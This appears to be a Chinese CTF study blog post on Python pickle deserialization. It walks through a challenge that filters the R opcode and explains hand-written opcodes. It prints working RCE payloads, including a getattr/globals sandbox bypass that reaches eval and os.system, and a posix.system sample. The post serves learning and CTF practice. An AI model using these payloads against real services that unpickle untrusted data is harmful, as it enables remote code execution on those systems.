【!牛逼!附件】python反序列化 例题学习 +++ 基本功:手挫OPCODE代码 !!: &&本地复现环境&& 详细解释 P牛 的那个 builtins 绕过沙盒的RCE

第一题:简单的变量覆盖(禁用R)就是了,没含量

源码

question.py

# -*- coding: UTF-8 -*-
import pickle
import os
import pickletools
import base64
import bb
class Student():
    def __init__(self,name,grade):
        self.name = name
        self.grade= grade

    def __eq__(self, other):
        return type(other) is Student and \
        self.name == other.name and \
        self.grade == other.grade
        
def check(data):
    if b'R' in data:
        print ('no reduce!')
        exit()
    x = pickle.loads(data) #  unserializtion

    if(x != Student(bb.name,bb.grade)):
        print('not equal >_<')
        exit()
    print("wel done , now it's equal to bb  Flag is where!!" )
    exit()
check( base64.b64decode( input() ) )

bb.py

# -*- coding: UTF-8 -*-
name = 'QAQ'
grade = 'G666'

题解:

代码审计,就是判断 将 我们输入的字符串,二进制解码之后,然后 反序列化,
看看反序列化出来的东西,是不是等于 name 和 grade 的值 与bb中的值一样的一个Student实例。

而且不能够使用 reduce。
easy,先看看正常的Student的序列化的字符串是什么样子的。
在这里插入图片描述

b'\x80\x03c__main__\nStudent\n)\x81}(X\x05\x00\x00\x00gradeX\x02\x00\x00\x00G2X\x04\x00\x00\x00nameX\x03\x00\x00\x00rxzub.'

怎么阅读这个二进制,看 那篇知乎专栏就好了,

R指令被禁止了,那就用c指令的全局变量来代替,就那两个变量,换成全局变量就好了,

修改成为:

b'\x80\x03c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00namecbb\nname\nX\x05\x00\x00\x00gradecbb\ngrade\nub.'

然后不要不要不要!!用网上的 什么 base64加密一加密,就去提交饿了,,不对的,
用python的自己的 base64.b64encode()这个函数来加密。如图。
并且加密这个:

在这里插入图片描述就加密这一整个字符串,然后提交的时候,就提交 里面的那块东西,

在这里插入图片描述

我当时复现的时候,名字是 test02.py 。

在这里插入图片描述
这就成功啦~(终于成功了,这个输入的坑我不知爬了多久才爬出来,,,)

我竟然不会用 reduce 方法来做,只会用 c 来绕过了,,,,

基本功:手搓opcode码

这里参考自P牛的文章

经过我的测试 我的python2,3中间有一块和 P牛 的代码不一样,
P牛的 是 builtins
我的必须是 __builtins__ 这样才行,具体应该是什么 实践出真知,
环境不一样就不一样。

这个两个知识一定是不一样的。也可以学习一下

c:引入模块和对象,模块名和对象名以换行符分隔。(find_class校验就在这一步,也就是说,只要c这个OPCODE的参数没有被 find_class 限制,其他地方获取的对象就不会被沙盒影响了,这也就是我们为什么要使用 getattr 来获取对象)
( :压入一个标志到栈中,表示元组的开始位置
t:从栈顶开始,找到最上面的一个 (,并将 (t 中间的内容全部弹出,组成一个元组,再把这个元组压入栈中, 应该是和R指令一起用的吧
R : 从栈顶弹出一个可执行对象和一个元组,先弹出的做元组,后弹出的做可执行对象,元组作为函数的参数列表执行,并将返回值压入栈中。
p :将栈顶的元素储存到 memo 中,p后面跟着一个数字,就是代表整个元素在memo中的索引,这个在指令优化之后就没有了,所以不是很常见。
VS : 向栈顶压入一个(unicode)字符串
. : 表示整个程序结束

下面练习一下 读代码的能力:

cposix
system
(Vtouch /tmp/success
tR.
c指令生成__posix__.system,压入栈中,然后 ( 标识mark,然后压入字符串 touch /tmp/success 。
这时,栈中由下到上是:__posix__.system , (左括号 , 一个字符串 。 这时 读到了 t 指令。
将栈顶到 ( 之间所有的字符打包到一个元组中,压入栈中,此时栈中从下往上就是:__posix__.system整个方法,再是
('touch /tmp/success',)整个元组,然后读取到指令R:从栈中弹出两个,,,东西,先出来的是 元组,后出来的是
可执行对象,然后将元组作为函数的参数执行,然后将返回值压入栈中。这时候就是一个完整的命令了。然后 . 弹出,完成反序列化。

1. 简单的变量覆盖:借助R指令(同一个py文件中,):

情形:
同一个文件中 对一个全局变量进行变量覆盖,(这里主要是为了练习手搓opcode码)

# -*- coding: UTF-8 -*-
import pickle
import pickletools
import os
import secret

name='adam'
class A():
    def __reduce__(self):
        return (exec,("name=11",))
    
b = pickle.dumps(A(),protocol=0)
b = pickletools.optimize(b)
pickletools.dis(b)
print(b)

pickle.loads(b)
print(name)

在这里插入图片描述手搓一遍,多练练就好了
在这里插入图片描述

2.简单的变量覆盖:借助R指令(非通一个py文件中,):

secrey.py

name = 'qwer'

在这里插入图片描述
在这里插入图片描述

3.简单的变量覆盖:借助 c 指令,然后 tR 执行的话,是用 db 指令代替的(非通一个py文件中,):

这是源码中对d指令的解释。
在这里插入图片描述
在这里插入图片描述这是db的作用

在这里插入图片描述

在这里插入图片描述
可以看到 b 指令和R指令很像,
R指令:从栈中弹出两个栈元素,后一个为函数方法,前一个为元组,然后执行
b指令:从栈中弹出两个栈元素,后一个为对象实例,第一个为存储属性名的字典,然后对 改对象实例进行 属性设置。
b可以说是R指令的一小部分,R指令可以执行任意命令,当然也可以修改对象实例的属性的值了,
b指令只能够修改对象属性的值。

这里不对,u指令是修改字典的,我理解错了,应该为这个db。d指令才是创造字典:
具体纠错的过程在下面在这里插入图片描述
用u是不对的,u的话应该是 添加信息,然后这个就没由必要去尝试了,如果要添加的化,还不如直接 db 修改呢,

这个注意:如果是引入 py文件的话,是 c__main__\n*****\nmain的左右两边由短线的。

以后碰到再说

在这里插入图片描述

在这里插入图片描述

u指令是为一个字典进行更新用的。
在这里插入图片描述
OK,Over

4.【分析P牛文章!!!!】用getattr进行RCE,沙盒绕过的pickle

然后这里练习

先使用 c , 获取到 getattr 这可执行对象:

cbuiltins
getattr

然后我们需要获取当前的上下文,Python中使用 globals() 获取上下文,所以我们要获取 builtins.globals

cbuiltins
globals

Python中globals是一个字典,我们需要获取字典中的某个值,所以还要获取到 dict 这个对象:

cbuiltins
dict

以上比较简单,现在难一点,执行 globals() 函数,获取完整上下文:

cbuiltins
globals
(tR

这就相当于执行了 __builtins__.globals() 就获得了上下文这个东西了么,
原理就是 c 指令,栈顶元素是__builtins__.globals,然后压入一个空元组 (t,然后使用 R执行即可

然后我们用 dict.get来从globals的结果中获取到 上下文中的builtins 对象,并将这个对象放置在 memo[1]:

学习这些奇奇怪怪的内置函数,模块什么的:这个稍微学习了一波,,

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR

这里我先消化一会看一下
在这里插入图片描述
在这里插入图片描述这时候,是获得get方法了, 也就是说此时栈中只有一个东西,那就是个get方法

dict对象中的get方法。
然后我们接着来

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

在这里插入图片描述
最后一步t是吧 蓝框框中的 给变成一个元组,然后R,弹出来两个元素,先后一次是 (builtins.globals(), 'builtins') 。 get 。然后执行 get(builtins.globals(), 'builtins')

在这里插入图片描述
在这里插入图片描述
我和他的不一样,我是这样的
在这里插入图片描述
在这里插入图片描述在这里插入图片描述这时候我们就获得了 builtins这个 内置模块了,然后调用 这个模块的
eval函数
如下:

在这里插入图片描述

在这里插入图片描述获取eval方法了,
这时候,栈的情况如下:
eval上面的东西,是以后的指令了就

在这里插入图片描述

cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'__builtins__'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system('ls')
tR.'

在这里插入图片描述在这里插入图片描述

这是最终的 测试代码:

b = pickle.loads(b"""cbuiltins\ngetattr\n(cbuiltins\ndict\nS'get'\ntR(cbuiltins\nglobals\n(tRS'__builtins__'\ntRp1\ncbuiltins\ngetattr\n(g1\nS'eval'\ntR(S'__import__('os').system("ls")'\ntR.""")

print(b)

和上面的一样

这个是在 IDLE 上辅助测试的:

__builtins__.dict.get(__builtins__.globals(),'__builtins__').eval('__import__("os").system("id")')

__builtins__.dict.get(__builtins__.globals(),'__builtins__').eval('__import__("os").system("whoami")')

最后以 P牛 的话 结尾。
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114535044